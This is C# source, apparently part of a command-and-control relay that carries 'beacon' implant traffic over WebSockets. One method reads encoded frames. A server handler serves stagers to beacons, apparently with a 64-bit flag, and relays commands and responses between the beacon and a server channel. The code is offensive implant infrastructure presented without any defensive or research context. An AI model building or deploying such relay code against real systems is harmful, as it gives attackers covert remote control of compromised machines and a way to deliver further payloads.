private async Task <WebSocketFrame> ReadMessageAsync() { if (_client.State != WebSocketState.Open) { throw new Exception("Web Socket not connected..."); // Might need reconnect logic here } var buffer = new byte[MaxBufferSize]; var b64Str = new StringBuilder(); WebSocketReceiveResult result; do { result = await _client.ReceiveAsync(new ArraySegment <byte>(buffer), CancellationToken.None); if (result.MessageType == WebSocketMessageType.Close) { await _client.CloseAsync(WebSocketCloseStatus.NormalClosure, string.Empty, CancellationToken.None); } else { b64Str.Append(Encoding.UTF8.GetString(buffer, 0, result.Count)); } } while (!result.EndOfMessage); return(WebSocketFrame.Decode(b64Str.ToString())); }
/// <summary> /// Receives the asynchronous. /// </summary> /// <param name="socket">The socket.</param> /// <param name="result">The result.</param> /// <param name="buffer">The buffer.</param> /// <returns></returns> public override async Task ReceiveAsync(WebSocket socket, WebSocketReceiveResult result, byte[] buffer) { var beaconId = WebSocketManager.GetId(socket); var frame = WebSocketFrame.Decode(Encoding.UTF8.GetString(buffer)); switch (frame.Type) { case FrameType.Connect: case FrameType.ToBeacon: Console.WriteLine("Server doesn't need to handle Connect/ToBeacon frames"); break; case FrameType.Stager: // Get stager from server channel var stager = GetStager(beaconId, frame.Buffer[0] == 0x64); var stageFrame = new WebSocketFrame(FrameType.Stager, beaconId.InternalId, stager); // Send stager to beacon channel await SendMessageAsync(beaconId, stageFrame.Encode()); break; case FrameType.ToServer: // Send frame to server channel SendFrame(beaconId, frame.Buffer); // Read frame from server channel var respFrame = new WebSocketFrame(FrameType.ToBeacon, beaconId.InternalId, ReadFrame(beaconId)); // Send frame to beacon channel await SendMessageAsync(beaconId, respFrame.Encode()); break; default: Console.WriteLine("Unknown frame type..."); break; } }